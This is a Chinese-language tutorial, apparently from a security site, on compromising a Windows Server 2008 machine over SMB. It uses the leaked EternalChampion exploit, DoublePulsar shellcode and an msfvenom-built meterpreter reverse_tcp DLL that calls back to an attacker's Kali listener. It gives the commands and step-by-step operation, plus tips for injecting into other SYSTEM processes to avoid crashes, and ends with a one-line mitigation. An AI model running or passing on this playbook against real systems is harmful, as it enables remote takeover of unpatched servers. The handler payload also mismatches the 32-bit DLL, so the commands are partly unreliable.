準備工作
攻擊機1:帶有漏洞利用工具集的XP,並且此次需要準備好WinHex, IP 172.26.97.35
攻擊機2:Kali, IP 172.26.97.226
靶機:Windows Server 2008 SP1 x86, IP 202.X.X.X,已經開啟445埠
開啟FuzzBunch
TargetIP寫靶機IP 202.X.X.X,CallBack寫運行fb的IP,也就是172.26.97.35,不使用Redirection
開始
使用smbtouch探測
use smbtouch
execute
smbtouch會為我們探測出目標系統適用的漏洞利用程序
在這裡我們可以看到,目標系統是32位的,EternalBlue和EternalSynergy不支持攻擊靶機,EternalRomance無法攻擊,只有EternalChampion可以。
使用Doublepulsar生成shellcode
smbtouch成功之後,我們使用Doublepulsar來生成shellcode
use Doublepulsar
我們一路回車默認,會發現多出來一個名為OutputInstall的選項,選擇這個
然後輸入路徑,比如說C:\shellcode.bin,一路回車執行就會生成shellcode
將shellcode轉換成HEX
由於EternalChampion需要的是ShellcodeBuffer而不是ShellcodeFile,所以這裡我們需要將Doublepulsar生成的shellcode轉換成十六進位;如果你用的是EternalRomance,那麼應該用的是ShellcodeFile,可以跨過此步
使用WinHex打開我們剛剛生成的shellcode.bin,然後選擇Edit-Copy All-Hex Values,如下圖所示:
使用EternalChampion進行攻擊
現在shellcode已經在我們的剪貼板中了,我們就要使用EternalChampion來進行攻擊了。
use EternalChampion
在之後我們一路回車默認,信息應該都是和目標系統相符的。在Mode :: Delivery mechanism時像上次一樣選擇FB一路回車,在程序提示ShellcodeBuffer :: DOPU Shellcode buffer時右鍵粘貼進那一堆十六進位,由於Shellcode比較長(4KB),所以可能會花幾秒鐘才會粘貼完。
在之後我們一路回車默認,信息應該都是和目標系統相符的。在Mode :: Delivery mechanism時像上次一樣選擇FB。
之後程序會進行詢問,我們回車就能夠運行EternalChampion
啊喲, 贏了,金牌,NSA你們這群人真幽默……
注意:如果你是用的exploit需要Shellcode File,那麼這裡直接輸入shellcode的路徑,本例中為C:\shellcode.bin,推薦把shellcode放在根目錄,據GitHub上某人的回復,如果放在某個目錄下可能會導致exploit不認。
使用Doublepulsar注入惡意dll
在這之後,我們使用Doublepulsar注入惡意dll,和上次操作基本一致,這裡我們就再複述下吧
但是在此之前,我想看看後門是否存在,那就Doublepulsar中的選擇function: 1 ping,就可以確定後門是否存在啦
好,咱還是生成惡意dll並用Doublepulsar注入吧!
msfvenom生成惡意dll
切換到Kali,此次就使用reverse_tcp了
#32位操作系統,所以生成32位的dll
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.26.97.226 LPORT=8089 -f dll >badbad.dll
#打開MetaSploit,開始監聽
set PAYLOAD windows/x64/meterpreter/reverse_tcp
use exploit/multi/handler
set LHOST172.26.97.226
set LPORT 8089
run
之後將這個dll拷貝到XP中,使用Python創建個http伺服器
python –m SimpleHTTPServer 80
拿起久違的IE,下載這個badbad.dll文件
注入dll
然後最後直接運行,就會發現反彈成功,拿到許可權了!
啊喲,執行不了meterpreter命令?
在一些情況下,我們可能會拿到meterpreter的會話,但是可能會發現執行不了啥命令,ping下不通了,猜測目標機器藍屏了,那咋辦呢?
等等直到ping通,然後再次運行EternalChampion攻擊,它會記得我們輸入的shellcode,所以一路回車,然後再次運行Doublepulsar,在程序提示ProcessName [lsass.exe]:選擇其他的以NT Authority\System運行的進程名,比如說spoolsv.exe, SearchIndexer.exe, lsm.exe,這就自己試試了。然後就應該不會藍屏啦~
其實選擇啥進程其實都是可以的,大不了運行meterpreter的時候migrate到其他進程就可以了。
後記
EternalBlue支持的系統
通過查看xml文件能發現,有點奇怪,EternalBlue的配置文件中支持了這麼多系統,但是有時卻報告不支持。
大家能看到,EternalBlue和EternalChampion是在Windows\Specials這個目錄下,Special,足以看到這倆工具威力是多麼巨大吧!真是可怕……
防範手段
安裝SM17-010補丁,開啟防火牆過濾445,關閉SMB服務。
*本文作者:The thor,轉載請註明FreeBuf.COM